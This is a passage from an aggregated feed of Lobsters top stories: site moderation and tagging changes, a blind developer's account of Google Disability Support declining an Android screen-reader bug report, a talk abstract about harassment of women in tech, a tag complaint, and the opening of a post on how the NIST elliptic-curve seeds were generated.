&lt;p&gt;The administrator is &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/~pushcx&quot;&gt;Peter Bhat Harkins&lt;/a&gt; (&amp;quot;pushcx&amp;quot;), contact him or &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/moderators&quot;&gt;another moderator&lt;/a&gt; with any support issues. Lobsters was launched on July 3rd, 2012 by &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/~jcs&quot;&gt;joshua stein&lt;/a&gt; (who is no longer running it, so please quit bugging him with site stuff) with careful design touches to encourage a healthy community:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At this risk of writing a mission statement, it seemed worth explaining what the site is and hopes to be to visitors from the first sentence of /about. (This original text came from &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/bkeYe9/about_lobsters&quot;&gt;an intro post&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;Then the Guidelines:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Topicality:&lt;/em&gt; Lobsters is focused pretty narrowly on computing; tags like art don&#39;t imply every piece of art is on-topic.  Some rules of thumb for great stories to submit: Will this improve the reader&#39;s next program? Will it deepen their understanding of their last program? Will it be more interesting in five or ten years? Is this compelling material that will seed a discussion, or is it just an artifact?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pending an upcoming deploy, we no longer allow submissions which are code repositories. While, at first blush, this may seem odd for a community which is primarily centered around programming but it does eliminate the bulk of the &amp;quot;low effort, self promotional&amp;quot; submissions we&#39;ve been seeing on the site. We&#39;ve also found that being dropped into a new codebase doesn&#39;t start discussions because the reader has to have enough subject matter experience to immediately recognize what&#39;s novel or otherwise worth talking about. Instead, we are more interested in content around code bases which cover why it was created, the purpose it serves, the challenges overcome, and the reasons why it&#39;s a useful artifact in the ecosystem.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some things that are off-topic here but popular on larger, similar sites: entrepreneurship; management; careers; news about companies that employ a lot of programmers; investing; world events; anthropology; self-help; personal productivity systems; last-resort customer service requests via public shaming; &amp;quot;I wanted to see what this site&#39;s amazing users think about this off-topic thing&amp;quot;; and defining the single morally correct economic and political system for the entire world when we can&#39;t even settle tabs vs. spaces.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We&#39;re listing &amp;quot;careers&amp;quot; as off-topic to try to head off posts about interviewing, promotions, burnout, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.theatlantic.com/magazine/archive/1981/07/flying-upside-down/306467/#:~:text=Back%20at,season%2E%22&quot;&gt;farming&lt;/a&gt;. We have the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/t/job&quot;&gt;job&lt;/a&gt; tag because it&#39;s nice to help people connect to jobs, but the topic of getting a good job, weaving jobs into a career over your lifetime, and work is a different thing than the actual programming itself.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Self-promotion:&lt;/em&gt; It&#39;s great to have authors participate in the community, but we do not want the community to be exploited as a write-only tool for product announcements or driving traffic to their work. As a rule of thumb, self-promotional activity should be less than a quarter of one&#39;s stories and comments in the last year. New users (&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/about#:~:text=%22new%22%20for%20their%20first%2070%20days&quot;&gt;first 70 days&lt;/a&gt;) are not allowed to submit self-promo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is how we&#39;ve been enforcing the rule for a while, better to be explicit. It&#39;s unfortunately common that authors see their work posted, join the site, but then only use us for traffic. Hopefully this time helps them understand the difference between a symbiotic and parasitic relationship.&lt;/p&gt;
&lt;p&gt;The second adjustment is that the &lt;code&gt;vibecoding&lt;/code&gt; tag is now marked as inactive. It still appears on old stories but can&#39;t be applied to new ones. From my perspective, the tag was overloaded with six differing responsibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;First, it was the tag which was trying to capture the discussions related to the use and implementation of AI/LLM tools.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Second, it was a marker for content which is partially related to AI/LLM tools, tooling or companies.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Third, it was a marker for content which includes a discussion on or output from AI/LLM tools in a part of a larger work.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fourth, it was a marker for content which was generated using AI/LLM tools.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fifth, it was being used in competition to the &lt;code&gt;spam&lt;/code&gt; flag, for really low-quality content which was generated via AI/LLM tools but without apparent significant human authorship.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sixth, it was being used as a &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/c/tz2qdt&quot;&gt;tag of shame&lt;/a&gt; by people who really dislike AI/LLM tools and used it to insult people at every passing mention.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last couple years have been the biggest upheaval in the field for decades. While it&#39;s acceptable, within limits, to express frustration towards circumstance or technology, it&#39;s not acceptable to direct that behavior towards individuals whether they be members of the community or not. Other people can&#39;t be your punching bags and Lobsters can&#39;t be your boxing ring. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/ktew3s/who_does_anubis_actually_stop#c_81gsc5&quot;&gt;That&#39;s not acceptable&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;While `vibecoding` is no longer an active tag, we still feel that a subset of the tooling related discussions are relevant to the site. While this is reaching far back into the annals of computing history, tools like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/t/compilers&quot;&gt;compilers&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/t/databases&quot;&gt;databases&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/t/testing&quot;&gt;testing&lt;/a&gt;, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/t/vcs&quot;&gt;vcs&lt;/a&gt; had similar points of consternation and concern when they were introduced. I&#39;m not going to claim that I&#39;m able to guess how the industry is going to shape up, but my gut feeling is that but my gut feeling is that it&#39;s going to be closer to something like we&#39;ve seen with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/a2ccah/can_we_have_systemd_tag&quot;&gt;systemd&lt;/a&gt; than compilers. This new tag `ai-tooling` covers &amp;quot;The design, ux, development of AI/LLM-powered tools themselves&amp;quot;.&lt;/p&gt;
&lt;p&gt;As a fun addendum, there&#39;s a variant of Maslow’s Hierarchy of Needs which exist for websites, we kinda fell on the wrong side of that trying to migrate the site and get this out on a Saturday. Whoops!&lt;/p&gt;
&lt;p&gt;Thanks, 355E3B&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:491b2a42f61809ad1318841935b7a668d91e0ef3</id>
    <title type="text">Outside the Scope of Our Support</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-18-outside-the-scope-of-our-support/"/>
    <link rel="via" type="text/html" href="https://fireborn.mataroa.blog/blog/outside-the-scope-of-our-support/"/>
    <published>2026-10-18T18:52:01+00:00</published>
    <updated>2026-10-18T18:52:01+00:00</updated>
    <author>
      <name>fireborn.mataroa.blog via 7tehdt3cnw6kir6o</name>
    </author>
    <category term="news"/>
    <category term="a11y"/>
    <category term="android"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;A few days ago I wrote about reporting a bug to Google Disability Support. It&#39;s a bug that kills touch exploration for every screen reader on Android until you reboot the phone. In return I was asked to turn TalkBack off and on again, clear the cache of an app I don&#39;t use, and reboot, which is the one thing I&#39;d already told them was the only workaround. If you haven&#39;t read that one, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://fireborn.mataroa.blog/blog/have-you-tried-turning-talkback-off-and-on-again/&quot;&gt;Have You Tried Turning TalkBack Off and On Again?&lt;/a&gt; has the whole story, and this post won&#39;t make much sense without it.&lt;/p&gt;
&lt;p&gt;There&#39;s been more since. I&#39;m going to go through it, because the ending is better than anything I could have made up. But I can tell you how I feel about it in four words, so I&#39;ll get them out of the way now.&lt;/p&gt;
&lt;p&gt;Quite simply, fuck you.&lt;/p&gt;
&lt;h2&gt;Where we left it&lt;/h2&gt;
&lt;p&gt;When I published the first post, I&#39;d answered every question Google&#39;s support team asked. I&#39;d done every troubleshooting step they gave me, including the ones that couldn&#39;t possibly work, and reported the results. They&#39;d said that once I&#39;d done that, the case could be forwarded to their internal team for further review. So I did it, and I waited to be forwarded.&lt;/p&gt;
&lt;p&gt;I didn&#39;t only wait. The bug happened again the next morning, and this time I was ready for it. I took a full bug report while the phone was stuck. I captured every log buffer, before and after. I worked out exactly why the fake finger gets left on the screen: TouchExplorer gets itself into a dragging state with no valid pointer, tries to build an up event with no pointers in it, MotionEvent throws, the exception gets swallowed, and the up event that would have lifted the finger is never sent. I worked out why nothing short of a reboot clears it: the input dispatcher keeps the record of injected pointers in a verifier that is only ever thrown away when a display is removed, so turning accessibility off, turning every accessibility service off, even tearing down the whole input filter does nothing. I proved that on the phone. I found a way to clear it from the shell with a single cancel event, and a way for a screen reader to clear it with no special permissions at all. And then I wrote fixes, one patch for the accessibility code in frameworks/base and one for the input dispatcher in frameworks/native, and sent a summary of all of it back to the case, along with a request, again, for some way to get the files to an engineer, because their form still wouldn&#39;t take anything that wasn&#39;t a screenshot.&lt;/p&gt;
&lt;p&gt;That&#39;s a root cause, a recovery method, two patches and a reproduction you can trigger on demand, all done for free, on my own time, on a phone I could only half use.&lt;/p&gt;
&lt;h2&gt;The second agent&lt;/h2&gt;
&lt;p&gt;The next reply came from a different agent, stepping in for the first. And I&#39;ll be fair here, because I want to be: it was the best reply I&#39;d had. It read like someone had actually read what I&#39;d sent. It summarised the problem correctly, in proper terms: TouchExplorer failing to release injected pointers after an invalid dragging pointer state, with InputDispatcher rejecting the hover events that follow. It said it recognised the impact on screen reader users. It said it didn&#39;t want to give me an unverified technical answer to my three questions, and that they needed the team responsible for those framework components. It said, finally, that it understood the troubleshooting steps had been exhausted.&lt;/p&gt;
&lt;p&gt;What it couldn&#39;t say was whether anyone on an engineering team would look at any of it. It didn&#39;t have an upload link, or an engineering contact. It told me to hang on to my files in case a way to send them ever turned up in the case. It was polite, honest about what it didn&#39;t know, and it went nowhere.&lt;/p&gt;
&lt;p&gt;So I stopped waiting, and filed the bug myself.&lt;/p&gt;
&lt;h2&gt;102 minutes&lt;/h2&gt;
&lt;p&gt;Android has a public issue tracker. Anyone can file on it, and it has an Android Accessibility component. I wrote up everything: device and build, the natural trigger and a reliable reproduction from the shell, what happens in the logs during the trigger, why only a reboot recovers, the on-device test results, the workaround a screen reader can use, and both patches, with the reproduction helper attached. I filed it at 08:17 on a Friday morning, and sent the link to the support case so they could attach it and pass it on.&lt;/p&gt;
&lt;p&gt;At 09:59 it was assigned to a Google engineer, with a comment saying it had been passed to the development team.&lt;/p&gt;
&lt;p&gt;That&#39;s an hour and forty-two minutes. Disability Support had had the case for four days by then, and in four days it hadn&#39;t got as far as an engineer. The tracker did it before I&#39;d finished my second coffee.&lt;/p&gt;
&lt;p&gt;It&#39;s still moving. At the time of writing it&#39;s marked as assigned, severity S2, priority P2. It&#39;s on five hotlists. 114 people have given it a +1, and one of them commented that this is something that has &amp;quot;continued to plague users&amp;quot;, and that it&#39;s been reported on forums like Blind Android Users. So it isn&#39;t just my phone and it isn&#39;t just me. Blind people have been hitting this for a long time, rebooting their phones, and getting nowhere, because the route Google gives them goes nowhere.&lt;/p&gt;
&lt;h2&gt;Outside our scope&lt;/h2&gt;
&lt;p&gt;Then, late on Saturday night, Disability Support replied for the last time.&lt;/p&gt;
&lt;p&gt;They&#39;d reviewed my case with their internal team, it said, and the team had clarified that Google Disability Support &amp;quot;primarily assists with troubleshooting existing accessibility features and assistive technologies within Google products, including unexpected behavior or broken functionality.&amp;quot;&lt;/p&gt;
&lt;p&gt;Read that sentence again, because it&#39;s a perfect description of what I reported. Touch exploration is an existing accessibility feature. It&#39;s built into Android, which is a Google product. TalkBack, which it breaks along with every other screen reader, is a Google product. Touch exploration stopping system-wide until you reboot is, by any definition anyone could come up with, broken functionality. I didn&#39;t just fall within their scope. I was the textbook example of it.&lt;/p&gt;
&lt;p&gt;But the very next paragraph explained that &amp;quot;technical development, custom accessibility service coding, and custom Android framework patches fall outside the scope of our support,&amp;quot; so they couldn&#39;t review the patches or confirm any of the framework fixes I&#39;d proposed.&lt;/p&gt;
&lt;p&gt;I never asked Disability Support to review a patch. I asked them, four times now, to pass a bug report to the people who own the code, and to give me a way to send them the logs. The patches were offered to an engineering team, because that&#39;s what you do with a fix: you hand it to the people who can use it. &amp;quot;Custom accessibility service coding&amp;quot; means Backtalk, I assume, which has nothing to do with the bug, as I&#39;d said in the first message, and the second, and the third. The bug happens with TalkBack. Google&#39;s TalkBack, running on Google&#39;s Android, using Google&#39;s touch exploration.&lt;/p&gt;
&lt;p&gt;So the more work I did, the further outside their scope the case became. Report a bug with logs, and you&#39;re told to clear a cache. Show that the cache had nothing to do with it, and you&#39;re told you need to do the troubleshooting first. Do the troubleshooting, find the cause, and write the fix, and you&#39;re told that fixes aren&#39;t their department. At no point in that loop was there a step where the report went to an engineer, and there was never going to be one. I just kept looking for it.&lt;/p&gt;
&lt;p&gt;Then the reply sent me some links. The Android Developers accessibility guide, which is documentation for people making their apps work with screen readers, and is about as relevant to a bug in the input dispatcher as a recipe book. A page of additional accessibility resources. And the Android Accessibility Help Community, where, it said, I could &amp;quot;share your findings, discuss touch exploration behavior, and connect with other accessibility developers.&amp;quot; That&#39;s a forum. It&#39;s other users, answering each other&#39;s questions for free, which is exactly what has been happening with this bug for years, and exactly why it&#39;s still there.&lt;/p&gt;
&lt;p&gt;Nowhere in the email was the issue tracker mentioned. I&#39;d sent them the link in my last message. By the time they wrote this, it had been with an engineer for a day and a half. Whoever reviewed my case either didn&#39;t see the link, or saw it and decided that the right thing to tell a blind developer whose bug was already assigned to a Google engineer was to go and post about it on a help forum.&lt;/p&gt;
&lt;p&gt;And then it closed with the line that, in the end, says it all: &amp;quot;If you encounter specific broken functionality involving Google&#39;s accessibility features or would like to suggest an enhancement to improve accessibility, please feel free to contact us again.&amp;quot;&lt;/p&gt;
&lt;p&gt;I did. That&#39;s what this whole thing was.&lt;/p&gt;
&lt;h2&gt;What this tells you&lt;/h2&gt;
&lt;p&gt;I said in the first post that I didn&#39;t blame the agents, and I still don&#39;t. The second one was genuinely decent, and I&#39;d guess the final email wasn&#39;t really theirs at all: it reads like the internal team&#39;s verdict, passed down for someone on the front line to sign. These are people working inside a system, and the system decides what they&#39;re allowed to do.&lt;/p&gt;
&lt;p&gt;So here&#39;s what that system is for, now that I&#39;ve seen it all the way through.&lt;/p&gt;
&lt;p&gt;Google Disability Support is a help desk for using Google&#39;s accessibility features. If you can&#39;t find a setting, it&#39;ll find it for you. If TalkBack is talking too fast, it&#39;ll tell you where to slow it down. It may well be good at that, and that&#39;s worth something. But it isn&#39;t a route for reporting accessibility bugs to Google, and it can&#39;t be, because nothing in it leads to anyone who can fix one. When a blind person tells it that something is broken, it can tell them how to turn things off and on again, and once that&#39;s run out, it can tell them it&#39;s out of scope. Then it sends them to a forum.&lt;/p&gt;
&lt;p&gt;What it doesn&#39;t do is the one thing a support channel exists for: take a report of something broken and put it in front of the people who can fix it.&lt;/p&gt;
&lt;h2&gt;Now imagine it wasn&#39;t me&lt;/h2&gt;
&lt;p&gt;It&#39;s tempting to read all this as a story with a happy ending. The bug got to an engineer in the end, and I got there by going round Disability Support entirely. So the lesson is to file on the issue tracker, isn&#39;t it? Next time, skip the help desk.&lt;/p&gt;
&lt;p&gt;No. Fucking no.&lt;/p&gt;
&lt;p&gt;Think about who actually hits this bug. Not a developer with adb and a laptop and a working knowledge of the input pipeline. A blind person, maybe new to Android, maybe older, maybe someone whose phone is the main way they read their post and talk to their family and get a taxi, who one day can&#39;t find anything on the screen by touch. They don&#39;t know what TouchExplorer is. They&#39;ve never heard of the input dispatcher. They don&#39;t know there&#39;s a fake finger stuck on their screen, and they have no way to find out, because every tool that would tell them needs a computer, a cable, developer options and a command line.&lt;/p&gt;
&lt;p&gt;So they do what Google tells them to do. They contact Disability Support, and they say: &amp;quot;My phone stopped reading things when I touch the screen. Swiping still works. Restarting fixes it but it keeps happening.&amp;quot;&lt;/p&gt;
&lt;p&gt;That&#39;s a perfectly good bug report. It&#39;s the symptom, the workaround and the fact that it recurs. It&#39;s exactly what any user anywhere should be expected to give, and it&#39;s honestly more than most people manage.&lt;/p&gt;
&lt;p&gt;And we now know exactly what happens to it. They get nine questions. They get told to turn TalkBack off and on again, with a warning to have a sighted person nearby. They get told to update Android Accessibility Suite and clear its cache, and they do it, carefully, step by step, because they trust that the people telling them know what they&#39;re doing. They reboot, and it works, and they report back that it works, and the case is closed as resolved. A week later it happens again, and they start over. Or they don&#39;t, because they&#39;ve learned that it&#39;s pointless, and they just reboot their phone a couple of times a day for the rest of its life, assuming that&#39;s what using Android blind is like.&lt;/p&gt;
&lt;p&gt;And if they don&#39;t take the reboot as an answer, if they push, the best they can hope for is the email I got. Out of scope. Go and read the developer documentation. Ask on the forum.&lt;/p&gt;
&lt;p&gt;Should that person be expected to find the Android issue tracker? Make an account, find the right component out of hundreds, and write a report that an engineer will take seriously, with a device fingerprint and a reproduction? With logs they have no way to capture? Of course not. That&#39;s not a reasonable thing to ask of a user, and asking it of a disabled user, through the support channel that exists specifically for disabled users, is obscene. Nobody expects a sighted person whose phone screen stops responding to go and file a bug on a developer tracker. They expect Google, or Samsung, or the shop they bought it from, to deal with it. Turning that work over to the people who are least able to do it, and calling it out of scope when they come asking, is the whole problem in one sentence.&lt;/p&gt;
&lt;p&gt;That&#39;s what makes it worse than my experience. I had the skills to route round the system, and it still took four days, a blog post, a root cause analysis and two patches. Everyone else just has the system. And the system&#39;s answer to &amp;quot;touch exploration is broken&amp;quot; is, in the end, that touch exploration being broken isn&#39;t its problem.&lt;/p&gt;
&lt;p&gt;So no, the answer isn&#39;t &amp;quot;file on the tracker&amp;quot;. The answer is that Disability Support should be the thing that files on the tracker. It&#39;s Google. It has the same access to the same internal bug systems as every other part of the company. When a disabled user reports that a Google accessibility feature is broken, somebody in that team should write it up, with whatever the user could tell them, file it with the team that owns the feature, and tell the user it&#39;s been filed. That&#39;s the job. That&#39;s what &amp;quot;escalation&amp;quot; is supposed to mean. If the team doesn&#39;t have the training, the tools, or the authority to do it, that isn&#39;t a reason to tell users it&#39;s out of scope. It&#39;s a reason to fix the team.&lt;/p&gt;
&lt;p&gt;Google points disabled people at Disability Support. It&#39;s the channel on the help pages, the human, specialist, accessible route, the place to go when something doesn&#39;t work for you. And when one of us arrives with something that doesn&#39;t work for any of us, it has no idea what to do with it. Not because the people are bad at their jobs, but because the job, as Google has defined it, stops just short of where it would be any use.&lt;/p&gt;
&lt;h2&gt;If you&#39;ve hit this bug&lt;/h2&gt;
&lt;p&gt;If you&#39;re a blind Android user and touch exploration has died on you while swipes and taps kept working, that&#39;s this bug, and it&#39;s not your fault, and it&#39;s not your screen reader. Rebooting clears it for now.&lt;/p&gt;
&lt;p&gt;This one, at least, is filed: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://issuetracker.google.com/issues/574059457&quot;&gt;TouchExplorer leaves injected pointers down; InputDispatcher then rejects all touch exploration events until reboot&lt;/a&gt;. If you have a Google account and want to, sign in and give it a +1. If you can add something, such as a device that isn&#39;t a Samsung, a Pixel especially, an Android version, or what you were doing when it happened, add a comment. You shouldn&#39;t have to do that either. But it&#39;s the one place this report has actually reached a person who can fix it, and the more people say it hits them, the higher it goes.&lt;/p&gt;
&lt;p&gt;And if you&#39;ve hit any other accessibility bug and you&#39;ve been told it&#39;s out of scope, you weren&#39;t wrong to report it, and you weren&#39;t asking for the wrong thing. You were asking the right people to do their job.&lt;/p&gt;
&lt;p&gt;Quite simply, fuck you, Google. Fix the bug, and then fix the route, so the next blind person who finds one doesn&#39;t have to do your engineers&#39; job to be heard.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:7b0354df443c1dde103874f84707fff74f0773d5</id>
    <title type="text">Men in tech #YesAllMen</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-18-men-in-tech-yesallmen/"/>
    <link rel="via" type="text/html" href="https://media.ccc.de/v/emf2026-240-1-men-in-tech-yesallmen"/>
    <published>2026-10-18T18:35:01+00:00</published>
    <updated>2026-10-18T18:35:01+00:00</updated>
    <author>
      <name>media.ccc.de via gmem</name>
    </author>
    <category term="news"/>
    <category term="culture"/>
    <category term="video"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;ol&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/b&quot;&gt;browse&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/b/conferences&quot;&gt;conferences&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/b/conferences/emf&quot;&gt;emf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/b/conferences/emf/2026&quot;&gt;2026&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;event&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/search?p=Jo+Franchetti&quot;&gt;Jo Franchetti&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/c/emf2026/Stage%20A&quot;&gt;Stage A&lt;/a&gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/c/emf2026/talk&quot;&gt;talk&lt;/a&gt; Playlists: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/v/emf2026-240-1-men-in-tech-yesallmen/playlist&quot;&gt;&#39;emf2026&#39; videos starting here&lt;/a&gt; / &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://media.ccc.de/v/emf2026-240-1-men-in-tech-yesallmen/audio&quot;&gt;audio&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;“Fuck you you fucking whore. Fuck you”.&lt;/p&gt;
&lt;p&gt;A text I received from a colleague I was told was “too valuable to reprimand&amp;quot;.&lt;/p&gt;
&lt;p&gt;I&#39;m so tired of sitting through “Women in tech” panels where women are told what they can do to survive in the tech industry. The ones where women are coached on confidence, on negotiating, on resilience, on not shrinking. The implicit message: the problem is fixable if women just try harder.&lt;/p&gt;
&lt;p&gt;This talk isn&#39;t that.&lt;/p&gt;
&lt;p&gt;This will be an uncomfortable account of what men actually said and did to one woman, over one career. Ask any woman in the room. They&#39;ve got similar stories. This isn&#39;t uncommon, it&#39;s a fucking Tuesday.&lt;/p&gt;
&lt;p&gt;I&#39;m not going to suggest solutions. That&#39;s on the men in the audience. I ask you to reckon with what is happening around you. Talk to your friends about it. See it, say it, fucking sort it.&lt;/p&gt;
&lt;p&gt;Licensed to the public under &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://creativecommons.org/licenses/by-sa/4.0/&quot;&gt;https://creativecommons.org/licenses/by-sa/4.0/&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Download&lt;/h3&gt;
&lt;h4&gt;Audio&lt;/h4&gt;
&lt;h3&gt;Tags&lt;/h3&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:63158f329e3b51306c0fcdc8c6b4a6fae6227488</id>
    <title type="text">It&#39;s enough - vibecoding tag crossed from useless to harmful</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-18-it-s-enough-vibecoding-tag-crossed-from-useless-to-harmful/"/>
    <link rel="via" type="text/html" href="https://lobste.rs/s/ggpwfi/it_s_enough_vibecoding_tag_crossed_from"/>
    <published>2026-10-18T10:35:11+00:00</published>
    <updated>2026-10-18T10:35:11+00:00</updated>
    <author>
      <name>by viraptor</name>
    </author>
    <category term="news"/>
    <category term="meta"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">The vibecoding tag has been getting more and more useless for a while now. It lost the original meaning as the culture of software engineering with LLMs matured a bit. It got silly when posts talking about LLMs in general got tagged. It…</summary>
    <content type="html">&lt;p&gt;The vibecoding tag has been getting more and more useless for a while now. It lost the original meaning as the culture of software engineering with LLMs matured a bit. It got silly when posts talking about LLMs in general got tagged. It got useless when posts even mentioning some project created with LLMs in passing got tagged. Now it actually got harmful to the community when tagging posts turns away very valuable members &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/c/vecuxj&quot;&gt;https://lobste.rs/c/vecuxj&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I sighed and moved on for a while now as almost everything gets tagged - you can skip a word. But now it not only carries no signal whatsoever, it turns away people creating original technical content - which is what I assume anti-vibecoding people would actually like to see more of.&lt;/p&gt;
&lt;p&gt;Please split it or kill it. But we&#39;d be better off without what exists today.&lt;/p&gt;
&lt;p&gt;Added: To be clear, I totally support people filtering out llm-generated or llm-centric posts. But right now everyone loses. And every day we lose a little bit more. Whether it&#39;s an original, interesting article that turns out to be nth-degree related to llms and filtered out, or a community member annoyed by this recurring problem and leaving us with even fewer actual non-llm-centric entries.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:7bd7f68f4f2a2ff1f6d654fa288f8a341a93ceb6</id>
    <title type="text">The NIST Elliptic Curves Seeds Bounty Has Been Claimed</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-16-the-nist-elliptic-curves-seeds-bounty-has-been-claimed/"/>
    <link rel="via" type="text/html" href="https://words.filippo.io/seeds-solved/"/>
    <published>2026-10-16T20:18:36+00:00</published>
    <updated>2026-10-16T20:18:36+00:00</updated>
    <author>
      <name>words.filippo.io by FiloSottile</name>
    </author>
    <category term="news"/>
    <category term="cryptography"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;We now know how the seeds of the NIST elliptic curves were generated: they’re not the hash of some saucy sentence, but the output of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://man.archlinux.org/man/drand48.3.en&quot;&gt;drand48&lt;/a&gt; seeded with the time, which was indeed in 1997–98.&lt;/p&gt;
&lt;p&gt;John Wood, Henry de Valence, Ava Howell, Zack Voase, Lucy Sweet, Amir Omidi, Paul Crowley, Iain McGinniss, Nicholas Carlini, and Steve Weis from Anthropic &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.anthropic.com/research/ecdsa-curve-origins&quot;&gt;solved the riddle&lt;/a&gt; and on October 15th, 2026, at 01:07:51 UTC, claimed &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://words.filippo.io/seeds-bounty/&quot;&gt;the full bounty I announced three years ago&lt;/a&gt;. They chose to donate the prize to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://isrg.org/&quot;&gt;ISRG&lt;/a&gt;, the non-profit that operates Let’s Encrypt, tripling its value to $36,864 (36 Ki$). Thank you to Amir Omidi, Chris Palmer, Colm MacCárthaigh, David Adrian, David Anderson, Jeff Hodges, Matt Green, Matthew McPherrin, Paul Kehrer, Ryan Sleevi, and Soatok for contributing to the bounty.&lt;/p&gt;
&lt;p&gt;This helps fill out a page of cryptographic history, and reinforces our confidence in these critical cryptographic primitives.&lt;/p&gt;
&lt;p&gt;The NIST elliptic curves (P-192, P-224, P-256, P-384, and P-521) were published by NIST in FIPS 186-2 in 2000. They were generated at random according to ANSI X9.62 by taking an arbitrary seed, hashing it with SHA-1, and using the output to derive some of the parameters. Until this week, we had no idea how those arbitrary seeds were picked.&lt;/p&gt;
